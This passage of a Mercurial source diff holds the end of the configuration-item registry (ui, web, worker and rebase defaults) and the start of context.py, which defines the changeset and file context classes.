             'ifeq(tags, "", "", "{tags} "))}'
             '{if(bookmarks, "{bookmarks} ")}'
             '{ifeq(branch, "default", "", "{branch} ")}'
             '- {author|user}: {desc|firstline}')
 )
 coreconfigitem('ui', 'nontty',
     default=False,
 )
 coreconfigitem('ui', 'origbackuppath',
     default=None,
 )
 coreconfigitem('ui', 'paginate',
     default=True,
 )
 coreconfigitem('ui', 'patch',
     default=None,
 )
 coreconfigitem('ui', 'portablefilenames',
     default='warn',
 )
 coreconfigitem('ui', 'promptecho',
     default=False,
 )
 coreconfigitem('ui', 'quiet',
     default=False,
 )
 coreconfigitem('ui', 'quietbookmarkmove',
     default=False,
 )
 coreconfigitem('ui', 'remotecmd',
     default='hg',
 )
 coreconfigitem('ui', 'report_untrusted',
     default=True,
 )
 coreconfigitem('ui', 'rollback',
     default=True,
 )
 coreconfigitem('ui', 'signal-safe-lock',
     default=True,
 )
 coreconfigitem('ui', 'slash',
     default=False,
 )
 coreconfigitem('ui', 'ssh',
     default='ssh',
 )
 coreconfigitem('ui', 'ssherrorhint',
     default=None,
 )
 coreconfigitem('ui', 'statuscopies',
     default=False,
 )
 coreconfigitem('ui', 'strict',
     default=False,
 )
 coreconfigitem('ui', 'style',
     default='',
 )
 coreconfigitem('ui', 'supportcontact',
     default=None,
 )
 coreconfigitem('ui', 'textwidth',
     default=78,
 )
 coreconfigitem('ui', 'timeout',
     default='600',
 )
 coreconfigitem('ui', 'timeout.warn',
     default=0,
 )
 coreconfigitem('ui', 'traceback',
     default=False,
 )
 coreconfigitem('ui', 'tweakdefaults',
     default=False,
 )
 coreconfigitem('ui', 'username',
     alias=[('ui', 'user')]
 )
 coreconfigitem('ui', 'verbose',
     default=False,
 )
 coreconfigitem('verify', 'skipflags',
     default=None,
 )
 coreconfigitem('web', 'allowbz2',
     default=False,
 )
 coreconfigitem('web', 'allowgz',
     default=False,
 )
 coreconfigitem('web', 'allow-pull',
     alias=[('web', 'allowpull')],
     default=True,
 )
 coreconfigitem('web', 'allow-push',
     alias=[('web', 'allow_push')],
     default=list,
 )
 coreconfigitem('web', 'allowzip',
     default=False,
 )
 coreconfigitem('web', 'archivesubrepos',
     default=False,
 )
 coreconfigitem('web', 'cache',
     default=True,
 )
 coreconfigitem('web', 'contact',
     default=None,
 )
 coreconfigitem('web', 'deny_push',
     default=list,
 )
 coreconfigitem('web', 'guessmime',
     default=False,
 )
 coreconfigitem('web', 'hidden',
     default=False,
 )
 coreconfigitem('web', 'labels',
     default=list,
 )
 coreconfigitem('web', 'logoimg',
     default='hglogo.png',
 )
 coreconfigitem('web', 'logourl',
     default='https://mercurial-scm.org/',
 )
 coreconfigitem('web', 'accesslog',
     default='-',
 )
 coreconfigitem('web', 'address',
     default='',
 )
 coreconfigitem('web', 'allow-archive',
     alias=[('web', 'allow_archive')],
     default=list,
 )
 coreconfigitem('web', 'allow_read',
     default=list,
 )
 coreconfigitem('web', 'baseurl',
     default=None,
 )
 coreconfigitem('web', 'cacerts',
     default=None,
 )
 coreconfigitem('web', 'certificate',
     default=None,
 )
 coreconfigitem('web', 'collapse',
     default=False,
 )
 coreconfigitem('web', 'csp',
     default=None,
 )
 coreconfigitem('web', 'deny_read',
     default=list,
 )
 coreconfigitem('web', 'descend',
     default=True,
 )
 coreconfigitem('web', 'description',
     default="",
 )
 coreconfigitem('web', 'encoding',
     default=lambda: encoding.encoding,
 )
 coreconfigitem('web', 'errorlog',
     default='-',
 )
 coreconfigitem('web', 'ipv6',
     default=False,
 )
 coreconfigitem('web', 'maxchanges',
     default=10,
 )
 coreconfigitem('web', 'maxfiles',
     default=10,
 )
 coreconfigitem('web', 'maxshortchanges',
     default=60,
 )
 coreconfigitem('web', 'motd',
     default='',
 )
 coreconfigitem('web', 'name',
     default=dynamicdefault,
 )
 coreconfigitem('web', 'port',
     default=8000,
 )
 coreconfigitem('web', 'prefix',
     default='',
 )
 coreconfigitem('web', 'push_ssl',
     default=True,
 )
 coreconfigitem('web', 'refreshinterval',
     default=20,
 )
 coreconfigitem('web', 'server-header',
     default=None,
 )
 coreconfigitem('web', 'staticurl',
     default=None,
 )
 coreconfigitem('web', 'stripes',
     default=1,
 )
 coreconfigitem('web', 'style',
     default='paper',
 )
 coreconfigitem('web', 'templates',
     default=None,
 )
 coreconfigitem('web', 'view',
     default='served',
 )
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
 # Windows defaults to a limit of 512 open files. A buffer of 128
 # should give us enough headway.
 coreconfigitem('worker', 'backgroundclosemaxqueue',
     default=384,
 )
 coreconfigitem('worker', 'backgroundcloseminfilecount',
     default=2048,
 )
 coreconfigitem('worker', 'backgroundclosethreadcount',
     default=4,
 )
 coreconfigitem('worker', 'enabled',
     default=True,
 )
 coreconfigitem('worker', 'numcpus',
     default=None,
 )
 
 # Rebase related configuration moved to core because other extension are doing
 # strange things. For example, shelve import the extensions to reuse some bit
 # without formally loading it.
 coreconfigitem('commands', 'rebase.requiredest',
             default=False,
 )
 coreconfigitem('experimental', 'rebaseskipobsolete',
     default=True,
 )
 coreconfigitem('rebase', 'singletransaction',
     default=False,
 )
 coreconfigitem('rebase', 'experimental.inmemory',
     default=False,
 )

mercurial/context.py

@@ -1,2534 +1,2536 b''
 # context.py - changeset and file context objects for mercurial
 #
 # Copyright 2006, 2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import filecmp
 import os
 import stat
 
 from .i18n import _
 from .node import (
     addednodeid,
     bin,
     hex,
     modifiednodeid,
     nullid,
     nullrev,
     short,
     wdirfilenodeids,
     wdirid,
 )
 from . import (
     dagop,
     encoding,
     error,
     fileset,
     match as matchmod,
     obsolete as obsmod,
     patch,
     pathutil,
     phases,
     pycompat,
     repoview,
     revlog,
     scmutil,
     sparse,
     subrepo,
     subrepoutil,
     util,
 )
 from .utils import (
     dateutil,
     stringutil,
 )
 
 propertycache = util.propertycache
 
 class basectx(object):
     """A basectx object represents the common logic for its children:
     changectx: read-only context that is already present in the repo,
     workingctx: a context that represents the working directory and can
                 be committed,
     memctx: a context that represents changes in-memory and can also
             be committed."""
 
     def __init__(self, repo):
         self._repo = repo
 
     def __bytes__(self):
         return short(self.node())
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __repr__(self):
         return r"<%s %s>" % (type(self).__name__, str(self))
 
     def __eq__(self, other):
         try:
             return type(self) == type(other) and self._rev == other._rev
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not (self == other)
 
     def __contains__(self, key):
         return key in self._manifest
 
     def __getitem__(self, key):
         return self.filectx(key)
 
     def __iter__(self):
         return iter(self._manifest)
 
     def _buildstatusmanifest(self, status):
         """Builds a manifest that includes the given status results, if this is
         a working copy context. For non-working copy contexts, it just returns
         the normal manifest."""
         return self.manifest()
 
     def _matchstatus(self, other, match):
         """This internal method provides a way for child objects to override the
         match operator.
         """
         return match
 
     def _buildstatus(self, other, s, match, listignored, listclean,
                      listunknown):
         """build a status with respect to another context"""
         # Load earliest manifest first for caching reasons. More specifically,
         # if you have revisions 1000 and 1001, 1001 is probably stored as a
         # delta against 1000. Thus, if you read 1000 first, we'll reconstruct
         # 1000 and cache it so that when you read 1001, we just need to apply a
         # delta to what's in the cache. So that's one full reconstruction + one
         # delta application.
         mf2 = None
         if self.rev() is not None and self.rev() < other.rev():
             mf2 = self._buildstatusmanifest(s)
         mf1 = other._buildstatusmanifest(s)
         if mf2 is None:
             mf2 = self._buildstatusmanifest(s)
 
         modified, added = [], []
         removed = []
         clean = []
         deleted, unknown, ignored = s.deleted, s.unknown, s.ignored
         deletedset = set(deleted)
         d = mf1.diff(mf2, match=match, clean=listclean)
         for fn, value in d.iteritems():
             if fn in deletedset:
                 continue
             if value is None:
                 clean.append(fn)
                 continue
             (node1, flag1), (node2, flag2) = value
             if node1 is None:
                 added.append(fn)
             elif node2 is None:
                 removed.append(fn)
             elif flag1 != flag2:
                 modified.append(fn)
             elif node2 not in wdirfilenodeids:
                 # When comparing files between two commits, we save time by
                 # not comparing the file contents when the nodeids differ.
                 # Note that this means we incorrectly report a reverted change
                 # to a file as a modification.
                 modified.append(fn)
             elif self[fn].cmp(other[fn]):
                 modified.append(fn)
             else:
                 clean.append(fn)
 
         if removed:
             # need to filter files if they are already reported as removed
             unknown = [fn for fn in unknown if fn not in mf1 and
                                                (not match or match(fn))]
             ignored = [fn for fn in ignored if fn not in mf1 and
                                                (not match or match(fn))]
             # if they're deleted, don't report them as removed
             removed = [fn for fn in removed if fn not in deletedset]
 
         return scmutil.status(modified, added, removed, deleted, unknown,
                               ignored, clean)
 
     @propertycache
     def substate(self):
         return subrepoutil.state(self, self._repo.ui)
 
     def subrev(self, subpath):
         return self.substate[subpath][1]
 
     def rev(self):
         return self._rev
     def node(self):
         return self._node
     def hex(self):
         return hex(self.node())
     def manifest(self):
         return self._manifest
     def manifestctx(self):
         return self._manifestctx
     def repo(self):
         return self._repo
     def phasestr(self):
         return phases.phasenames[self.phase()]
     def mutable(self):
         return self.phase() > phases.public
 
     def getfileset(self, expr):
         return fileset.getfileset(self, expr)
 
     def obsolete(self):
         """True if the changeset is obsolete"""
         return self.rev() in obsmod.getrevs(self._repo, 'obsolete')
 
     def extinct(self):
         """True if the changeset is extinct"""
         return self.rev() in obsmod.getrevs(self._repo, 'extinct')
 
     def orphan(self):
         """True if the changeset is not obsolete but it's ancestor are"""
         return self.rev() in obsmod.getrevs(self._repo, 'orphan')
 
     def phasedivergent(self):
         """True if the changeset try to be a successor of a public changeset
 
         Only non-public and non-obsolete changesets may be bumped.
         """
         return self.rev() in obsmod.getrevs(self._repo, 'phasedivergent')
 
     def contentdivergent(self):
         """Is a successors of a changeset with multiple possible successors set
 
         Only non-public and non-obsolete changesets may be divergent.
         """
         return self.rev() in obsmod.getrevs(self._repo, 'contentdivergent')
 
     def isunstable(self):
         """True if the changeset is either unstable, bumped or divergent"""
         return self.orphan() or self.phasedivergent() or self.contentdivergent()
 
     def instabilities(self):
         """return the list of instabilities affecting this changeset.
 
         Instabilities are returned as strings. possible values are:
         - orphan,
         - phase-divergent,
         - content-divergent.
         """
         instabilities = []
         if self.orphan():
             instabilities.append('orphan')
         if self.phasedivergent():
             instabilities.append('phase-divergent')
         if self.contentdivergent():
             instabilities.append('content-divergent')
         return instabilities
 
     def parents(self):
         """return contexts for each parent changeset"""
         return self._parents
 
     def p1(self):
         return self._parents[0]
 
     def p2(self):
         parents = self._parents
         if len(parents) == 2:
             return parents[1]
         return changectx(self._repo, nullrev)
 
     def _fileinfo(self, path):
         if r'_manifest' in self.__dict__:
             try:
                 return self._manifest[path], self._manifest.flags(path)
             except KeyError:
                 raise error.ManifestLookupError(self._node, path,
                                                 _('not found in manifest'))
         if r'_manifestdelta' in self.__dict__ or path in self.files():
             if path in self._manifestdelta:
                 return (self._manifestdelta[path],
                         self._manifestdelta.flags(path))
         mfl = self._repo.manifestlog
         try:
             node, flag = mfl[self._changeset.manifest].find(path)
         except KeyError:
             raise error.ManifestLookupError(self._node, path,
                                             _('not found in manifest'))
 
         return node, flag
 
     def filenode(self, path):
         return self._fileinfo(path)[0]
 
     def flags(self, path):
         try:
             return self._fileinfo(path)[1]
         except error.LookupError:
             return ''
 
     def sub(self, path, allowcreate=True):
         '''return a subrepo for the stored revision of path, never wdir()'''
         return subrepo.subrepo(self, path, allowcreate=allowcreate)
 
     def nullsub(self, path, pctx):
         return subrepo.nullsubrepo(self, path, pctx)
 
     def workingsub(self, path):
         '''return a subrepo for the stored revision, or wdir if this is a wdir
         context.
         '''
         return subrepo.subrepo(self, path, allowwdir=True)
 
     def match(self, pats=None, include=None, exclude=None, default='glob',
               listsubrepos=False, badfn=None):
         r = self._repo
         return matchmod.match(r.root, r.getcwd(), pats,
                               include, exclude, default,
                               auditor=r.nofsauditor, ctx=self,
                               listsubrepos=listsubrepos, badfn=badfn)
 
     def diff(self, ctx2=None, match=None, **opts):
         """Returns a diff generator for the given contexts and matcher"""
         if ctx2 is None:
             ctx2 = self.p1()
         if ctx2 is not None:
             ctx2 = self._repo[ctx2]
         diffopts = patch.diffopts(self._repo.ui, pycompat.byteskwargs(opts))
         return patch.diff(self._repo, ctx2, self, match=match, opts=diffopts)
 
     def dirs(self):
         return self._manifest.dirs()
 
     def hasdir(self, dir):
         return self._manifest.hasdir(dir)
 
     def status(self, other=None, match=None, listignored=False,
                listclean=False, listunknown=False, listsubrepos=False):
         """return status of files between two nodes or node and working
         directory.
 
         If other is None, compare this node with working directory.
 
         returns (modified, added, removed, deleted, unknown, ignored, clean)
         """
 
         ctx1 = self
         ctx2 = self._repo[other]
 
         # This next code block is, admittedly, fragile logic that tests for
         # reversing the contexts and wouldn't need to exist if it weren't for
         # the fast (and common) code path of comparing the working directory
         # with its first parent.
         #
         # What we're aiming for here is the ability to call:
         #
         # workingctx.status(parentctx)
         #
         # If we always built the manifest for each context and compared those,
         # then we'd be done. But the special case of the above call means we
         # just copy the manifest of the parent.
         reversed = False
         if (not isinstance(ctx1, changectx)
             and isinstance(ctx2, changectx)):
             reversed = True
             ctx1, ctx2 = ctx2, ctx1
 
         match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         match = ctx2._matchstatus(ctx1, match)
         r = scmutil.status([], [], [], [], [], [], [])
         r = ctx2._buildstatus(ctx1, r, match, listignored, listclean,
                               listunknown)
 
         if reversed:
             # Reverse added and removed. Clear deleted, unknown and ignored as
             # these make no sense to reverse.
             r = scmutil.status(r.modified, r.removed, r.added, [], [], [],
                                r.clean)
 
         if listsubrepos:
             for subpath, sub in scmutil.itersubrepos(ctx1, ctx2):
                 try:
                     rev2 = ctx2.subrev(subpath)
                 except KeyError:
                     # A subrepo that existed in node1 was deleted between
                     # node1 and node2 (inclusive). Thus, ctx2's substate
                     # won't contain that subpath. The best we can do ignore it.
                     rev2 = None
                 submatch = matchmod.subdirmatcher(subpath, match)
                 s = sub.status(rev2, match=submatch, ignored=listignored,
                                clean=listclean, unknown=listunknown,
                                listsubrepos=True)
                 for rfiles, sfiles in zip(r, s):
                     rfiles.extend("%s/%s" % (subpath, f) for f in sfiles)
 
         for l in r:
             l.sort()
 
         return r
 
 class changectx(basectx):
     """A changecontext object makes access to data related to a particular
     changeset convenient. It represents a read-only context already present in
     the repo."""
     def __init__(self, repo, changeid='.'):
         """changeid is a revision number, node, or tag"""
         super(changectx, self).__init__(repo)
 
         try:
             if isinstance(changeid, int):
                 self._node = repo.changelog.node(changeid)
                 self._rev = changeid
                 return
             elif changeid == 'null':
                 self._node = nullid
                 self._rev = nullrev
                 return
             elif changeid == 'tip':
                 self._node = repo.changelog.tip()
                 self._rev = repo.changelog.rev(self._node)
                 return
             elif (changeid == '.'
                   or repo.local() and changeid == repo.dirstate.p1()):
                 # this is a hack to delay/avoid loading obsmarkers
                 # when we know that '.' won't be hidden
                 self._node = repo.dirstate.p1()
                 self._rev = repo.unfiltered().changelog.rev(self._node)
                 return
             elif len(changeid) == 20:
                 try:
                     self._node = changeid
                     self._rev = repo.changelog.rev(changeid)
                     return
                 except error.FilteredLookupError:
                     raise
                 except LookupError:
                     # check if it might have come from damaged dirstate
                     #
                     # XXX we could avoid the unfiltered if we had a recognizable
                     # exception for filtered changeset access
                     if (repo.local()
                         and changeid in repo.unfiltered().dirstate.parents()):
                         msg = _("working directory has unknown parent '%s'!")
                         raise error.Abort(msg % short(changeid))
                     changeid = hex(changeid) # for the error message
 
             elif len(changeid) == 40:
                 try:
                     self._node = bin(changeid)
                     self._rev = repo.changelog.rev(self._node)
                     return
                 except error.FilteredLookupError:
                     raise
                 except (TypeError, LookupError):
                     pass
 
             # lookup failed
         except (error.FilteredIndexError, error.FilteredLookupError):
             raise error.FilteredRepoLookupError(_("filtered revision '%s'")
                                                 % pycompat.bytestr(changeid))
         except error.FilteredRepoLookupError:
             raise
         except IndexError:
             pass
         raise error.RepoLookupError(
             _("unknown revision '%s'") % changeid)
 
     def __hash__(self):
         try:
             return hash(self._rev)
         except AttributeError:
             return id(self)
 
     def __nonzero__(self):
         return self._rev != nullrev
 
     __bool__ = __nonzero__
 
     @propertycache
     def _changeset(self):
         return self._repo.changelog.changelogrevision(self.rev())
 
     @propertycache
     def _manifest(self):
         return self._manifestctx.read()
 
     @property
     def _manifestctx(self):
         return self._repo.manifestlog[self._changeset.manifest]
 
     @propertycache
     def _manifestdelta(self):
         return self._manifestctx.readdelta()
 
     @propertycache
     def _parents(self):
         repo = self._repo
         p1, p2 = repo.changelog.parentrevs(self._rev)
         if p2 == nullrev:
             return [changectx(repo, p1)]
         return [changectx(repo, p1), changectx(repo, p2)]
 
     def changeset(self):
         c = self._changeset
         return (
             c.manifest,
             c.user,
             c.date,
             c.files,
             c.description,
             c.extra,
         )
     def manifestnode(self):
         return self._changeset.manifest
 
     def user(self):
         return self._changeset.user
     def date(self):
         return self._changeset.date
     def files(self):
         return self._changeset.files
     def description(self):
         return self._changeset.description
     def branch(self):
         return encoding.tolocal(self._changeset.extra.get("branch"))
     def closesbranch(self):
         return 'close' in self._changeset.extra
     def extra(self):
         """Return a dict of extra information."""
         return self._changeset.extra
     def tags(self):
         """Return a list of byte tag names"""
         return self._repo.nodetags(self._node)
     def bookmarks(self):
         """Return a list of byte bookmark names."""
         return self._repo.nodebookmarks(self._node)
     def phase(self):
         return self._repo._phasecache.phase(self._repo, self._rev)
     def hidden(self):
         return self._rev in repoview.filterrevs(self._repo, 'visible')
 
     def isinmemory(self):
         return False
 
     def children(self):
         """return list of changectx contexts for each child changeset.
 
         This returns only the immediate child changesets. Use descendants() to
         recursively walk children.
         """
         c = self._repo.changelog.children(self._node)
         return [changectx(self._repo, x) for x in c]
 
     def ancestors(self):
         for a in self._repo.changelog.ancestors([self._rev]):
             yield changectx(self._repo, a)
 
     def descendants(self):
         """Recursively yield all children of the changeset.
 
         For just the immediate children, use children()
         """
         for d in self._repo.changelog.descendants([self._rev]):
             yield changectx(self._repo, d)
 
     def filectx(self, path, fileid=None, filelog=None):
         """get a file context from this changeset"""
         if fileid is None:
             fileid = self.filenode(path)
         return filectx(self._repo, path, fileid=fileid,
                        changectx=self, filelog=filelog)
 
     def ancestor(self, c2, warn=False):
         """return the "best" ancestor context of self and c2
 
         If there are multiple candidates, it will show a message and check
         merge.preferancestor configuration before falling back to the
         revlog ancestor."""
         # deal with workingctxs
         n2 = c2._node
         if n2 is None:
             n2 = c2._parents[0]._node
         cahs = self._repo.changelog.commonancestorsheads(self._node, n2)
         if not cahs:
             anc = nullid
         elif len(cahs) == 1:
             anc = cahs[0]
         else:
             # experimental config: merge.preferancestor
             for r in self._repo.ui.configlist('merge', 'preferancestor'):
                 try:
                     ctx = scmutil.revsymbol(self._repo, r)
                 except error.RepoLookupError:
                     continue
                 anc = ctx.node()
                 if anc in cahs:
                     break
             else:
                 anc = self._repo.changelog.ancestor(self._node, n2)
             if warn:
                 self._repo.ui.status(
                     (_("note: using %s as ancestor of %s and %s\n") %
                      (short(anc), short(self._node), short(n2))) +
                     ''.join(_("      alternatively, use --config "
                               "merge.preferancestor=%s\n") %
                             short(n) for n in sorted(cahs) if n != anc))
         return changectx(self._repo, anc)
 
     def descendant(self, other):
         """True if other is descendant of this changeset"""
         return self._repo.changelog.descendant(self._rev, other._rev)
 
     def walk(self, match):
         '''Generates matching file names.'''
 
         # Wrap match.bad method to have message with nodeid
         def bad(fn, msg):
             # The manifest doesn't know about subrepos, so don't complain about
             # paths into valid subrepos.
             if any(fn == s or fn.startswith(s + '/')
                    for s in self.substate):
                 return
             match.bad(fn, _('no such file in rev %s') % self)
 
         m = matchmod.badmatch(match, bad)
         return self._manifest.walk(m)
 
     def matches(self, match):
         return self.walk(match)
 
 class basefilectx(object):
     """A filecontext object represents the common logic for its children:
     filectx: read-only access to a filerevision that is already present
              in the repo,
     workingfilectx: a filecontext that represents files from the working
                     directory,
     memfilectx: a filecontext that represents files in-memory,
     overlayfilectx: duplicate another filecontext with some fields overridden.
     """
     @propertycache
     def _filelog(self):
         return self._repo.file(self._path)
 
     @propertycache
     def _changeid(self):
         if r'_changeid' in self.__dict__:
             return self._changeid
         elif r'_changectx' in self.__dict__:
             return self._changectx.rev()
         elif r'_descendantrev' in self.__dict__:
             # this file context was created from a revision with a known
             # descendant, we can (lazily) correct for linkrev aliases
             return self._adjustlinkrev(self._descendantrev)
         else:
             return self._filelog.linkrev(self._filerev)
 
     @propertycache
     def _filenode(self):
         if r'_fileid' in self.__dict__:
             return self._filelog.lookup(self._fileid)
         else:
             return self._changectx.filenode(self._path)
 
     @propertycache
     def _filerev(self):
         return self._filelog.rev(self._filenode)
 
     @propertycache
     def _repopath(self):
         return self._path
 
     def __nonzero__(self):
         try:
             self._filenode
             return True
         except error.LookupError:
             # file is missing
             return False
 
     __bool__ = __nonzero__
 
     def __bytes__(self):
         try:
             return "%s@%s" % (self.path(), self._changectx)
         except error.LookupError:
             return "%s@???" % self.path()
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __repr__(self):
         return r"<%s %s>" % (type(self).__name__, str(self))
 
     def __hash__(self):
         try:
             return hash((self._path, self._filenode))
         except AttributeError:
             return id(self)
 
     def __eq__(self, other):
         try:
             return (type(self) == type(other) and self._path == other._path
                     and self._filenode == other._filenode)
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not (self == other)
 
     def filerev(self):
         return self._filerev
     def filenode(self):
         return self._filenode
     @propertycache
     def _flags(self):
         return self._changectx.flags(self._path)
     def flags(self):
         return self._flags
     def filelog(self):
         return self._filelog
     def rev(self):
         return self._changeid
     def linkrev(self):
         return self._filelog.linkrev(self._filerev)
     def node(self):
         return self._changectx.node()
     def hex(self):
         return self._changectx.hex()
     def user(self):
         return self._changectx.user()
     def date(self):
         return self._changectx.date()
     def files(self):
         return self._changectx.files()
     def description(self):
         return self._changectx.description()
     def branch(self):
         return self._changectx.branch()
     def extra(self):
         return self._changectx.extra()
     def phase(self):
         return self._changectx.phase()
     def phasestr(self):
         return self._changectx.phasestr()
     def obsolete(self):
         return self._changectx.obsolete()
     def instabilities(self):
         return self._changectx.instabilities()
     def manifest(self):
         return self._changectx.manifest()
     def changectx(self):
         return self._changectx
     def renamed(self):
         return self._copied
     def repo(self):
         return self._repo
     def size(self):
         return len(self.data())
 
     def path(self):
         return self._path
 
     def isbinary(self):
         try:
             return stringutil.binary(self.data())
         except IOError:
             return False
     def isexec(self):
         return 'x' in self.flags()
     def islink(self):
         return 'l' in self.flags()
 
     def isabsent(self):
         """whether this filectx represents a file not in self._changectx
 
         This is mainly for merge code to detect change/delete conflicts. This is
         expected to be True for all subclasses of basectx."""
         return False
 
     _customcmp = False
     def cmp(self, fctx):
         """compare with other file context
 
         returns True if different than fctx.
         """
         if fctx._customcmp:
             return fctx.cmp(self)
 
         if (fctx._filenode is None
             and (self._repo._encodefilterpats
                  # if file data starts with '\1\n', empty metadata block is
                  # prepended, which adds 4 bytes to filelog.size().
                  or self.size() - 4 == fctx.size())
             or self.size() == fctx.size()):
             return self._filelog.cmp(self._filenode, fctx.data())
 
         return True
 
     def _adjustlinkrev(self, srcrev, inclusive=False):
         """return the first ancestor of <srcrev> introducing <fnode>
 
         If the linkrev of the file revision does not point to an ancestor of
         srcrev, we'll walk down the ancestors until we find one introducing
         this file revision.
 
         :srcrev: the changeset revision we search ancestors from
         :inclusive: if true, the src revision will also be checked
         """
         repo = self._repo
         cl = repo.unfiltered().changelog
         mfl = repo.manifestlog
         # fetch the linkrev
         lkr = self.linkrev()
         # hack to reuse ancestor computation when searching for renames
         memberanc = getattr(self, '_ancestrycontext', None)
         iteranc = None
         if srcrev is None:
             # wctx case, used by workingfilectx during mergecopy
             revs = [p.rev() for p in self._repo[None].parents()]
             inclusive = True # we skipped the real (revless) source
         else:
             revs = [srcrev]
         if memberanc is None:
             memberanc = iteranc = cl.ancestors(revs, lkr,
                                                inclusive=inclusive)
         # check if this linkrev is an ancestor of srcrev
         if lkr not in memberanc:
             if iteranc is None:
                 iteranc = cl.ancestors(revs, lkr, inclusive=inclusive)
             fnode = self._filenode
             path = self._path
             for a in iteranc:
                 ac = cl.read(a) # get changeset data (we avoid object creation)
                 if path in ac[3]: # checking the 'files' field.
                     # The file has been touched, check if the content is
                     # similar to the one we search for.
                     if fnode == mfl[ac[0]].readfast().get(path):
                         return a
             # In theory, we should never get out of that loop without a result.
             # But if manifest uses a buggy file revision (not children of the
             # one it replaces) we could. Such a buggy situation will likely
             # result is crash somewhere else at to some point.
         return lkr
 
     def introrev(self):
         """return the rev of the changeset which introduced this file revision
 
         This method is different from linkrev because it take into account the
         changeset the filectx was created from. It ensures the returned
         revision is one of its ancestors. This prevents bugs from
         'linkrev-shadowing' when a file revision is used by multiple
         changesets.
         """
         lkr = self.linkrev()
         attrs = vars(self)
         noctx = not (r'_changeid' in attrs or r'_changectx' in attrs)
         if noctx or self.rev() == lkr:
             return self.linkrev()
         return self._adjustlinkrev(self.rev(), inclusive=True)
 
     def introfilectx(self):
         """Return filectx having identical contents, but pointing to the
         changeset revision where this filectx was introduced"""
         introrev = self.introrev()
         if self.rev() == introrev:
             return self
         return self.filectx(self.filenode(), changeid=introrev)
 
     def _parentfilectx(self, path, fileid, filelog):
         """create parent filectx keeping ancestry info for _adjustlinkrev()"""
         fctx = filectx(self._repo, path, fileid=fileid, filelog=filelog)
         if r'_changeid' in vars(self) or r'_changectx' in vars(self):
             # If self is associated with a changeset (probably explicitly
             # fed), ensure the created filectx is associated with a
             # changeset that is an ancestor of self.changectx.
             # This lets us later use _adjustlinkrev to get a correct link.
             fctx._descendantrev = self.rev()
             fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
         elif r'_descendantrev' in vars(self):
             # Otherwise propagate _descendantrev if we have one associated.
             fctx._descendantrev = self._descendantrev
             fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
         return fctx
 
     def parents(self):
         _path = self._path
         fl = self._filelog
         parents = self._filelog.parents(self._filenode)
         pl = [(_path, node, fl) for node in parents if node != nullid]
 
         r = fl.renamed(self._filenode)
         if r:
             # - In the simple rename case, both parent are nullid, pl is empty.
             # - In case of merge, only one of the parent is null id and should
             # be replaced with the rename information. This parent is -always-
             # the first one.
             #
             # As null id have always been filtered out in the previous list
             # comprehension, inserting to 0 will always result in "replacing
             # first nullid parent with rename information.
             pl.insert(0, (r[0], r[1], self._repo.file(r[0])))
 
         return [self._parentfilectx(path, fnode, l) for path, fnode, l in pl]
 
     def p1(self):
         return self.parents()[0]
 
     def p2(self):
         p = self.parents()
         if len(p) == 2:
             return p[1]
         return filectx(self._repo, self._path, fileid=-1, filelog=self._filelog)
 
     def annotate(self, follow=False, skiprevs=None, diffopts=None):
         """Returns a list of annotateline objects for each line in the file
 
         - line.fctx is the filectx of the node where that line was last changed
         - line.lineno is the line number at the first appearance in the managed
           file
         - line.text is the data on that line (including newline character)
         """
         getlog = util.lrucachefunc(lambda x: self._repo.file(x))
 
         def parents(f):
             # Cut _descendantrev here to mitigate the penalty of lazy linkrev
             # adjustment. Otherwise, p._adjustlinkrev() would walk changelog
             # from the topmost introrev (= srcrev) down to p.linkrev() if it
             # isn't an ancestor of the srcrev.
             f._changeid
             pl = f.parents()
 
             # Don't return renamed parents if we aren't following.
             if not follow:
                 pl = [p for p in pl if p.path() == f.path()]
 
             # renamed filectx won't have a filelog yet, so set it
             # from the cache to save time
             for p in pl:
                 if not r'_filelog' in p.__dict__:
                     p._filelog = getlog(p.path())
 
             return pl
 
         # use linkrev to find the first changeset where self appeared
         base = self.introfilectx()
         if getattr(base, '_ancestrycontext', None) is None:
             cl = self._repo.changelog
             if base.rev() is None:
                 # wctx is not inclusive, but works because _ancestrycontext
                 # is used to test filelog revisions
                 ac = cl.ancestors([p.rev() for p in base.parents()],
                                   inclusive=True)
             else:
                 ac = cl.ancestors([base.rev()], inclusive=True)
             base._ancestrycontext = ac
 
         return dagop.annotate(base, parents, skiprevs=skiprevs,
                               diffopts=diffopts)
 
     def ancestors(self, followfirst=False):
         visit = {}
         c = self
         if followfirst:
             cut = 1
         else:
             cut = None
 
         while True:
             for parent in c.parents()[:cut]:
                 visit[(parent.linkrev(), parent.filenode())] = parent
             if not visit:
                 break
             c = visit.pop(max(visit))
             yield c
 
     def decodeddata(self):
         """Returns `data()` after running repository decoding filters.
 
         This is often equivalent to how the data would be expressed on disk.
         """
         return self._repo.wwritedata(self.path(), self.data())
 
 class filectx(basefilectx):
     """A filecontext object makes access to data related to a particular
        filerevision convenient."""
     def __init__(self, repo, path, changeid=None, fileid=None,
                  filelog=None, changectx=None):
         """changeid can be a changeset revision, node, or tag.
            fileid can be a file revision or node."""
         self._repo = repo
         self._path = path
 
         assert (changeid is not None
                 or fileid is not None
                 or changectx is not None), \
                 ("bad args: changeid=%r, fileid=%r, changectx=%r"
                  % (changeid, fileid, changectx))
 
         if filelog is not None:
             self._filelog = filelog
 
         if changeid is not None:
             self._changeid = changeid
         if changectx is not None:
             self._changectx = changectx
         if fileid is not None:
             self._fileid = fileid
 
     @propertycache
     def _changectx(self):
         try:
             return changectx(self._repo, self._changeid)
         except error.FilteredRepoLookupError:
             # Linkrev may point to any revision in the repository.  When the
             # repository is filtered this may lead to `filectx` trying to build
             # `changectx` for filtered revision. In such case we fallback to
             # creating `changectx` on the unfiltered version of the reposition.
             # This fallback should not be an issue because `changectx` from
             # `filectx` are not used in complex operations that care about
             # filtering.
             #
             # This fallback is a cheap and dirty fix that prevent several
             # crashes. It does not ensure the behavior is correct. However the
             # behavior was not correct before filtering either and "incorrect
             # behavior" is seen as better as "crash"
             #
             # Linkrevs have several serious troubles with filtering that are
             # complicated to solve. Proper handling of the issue here should be
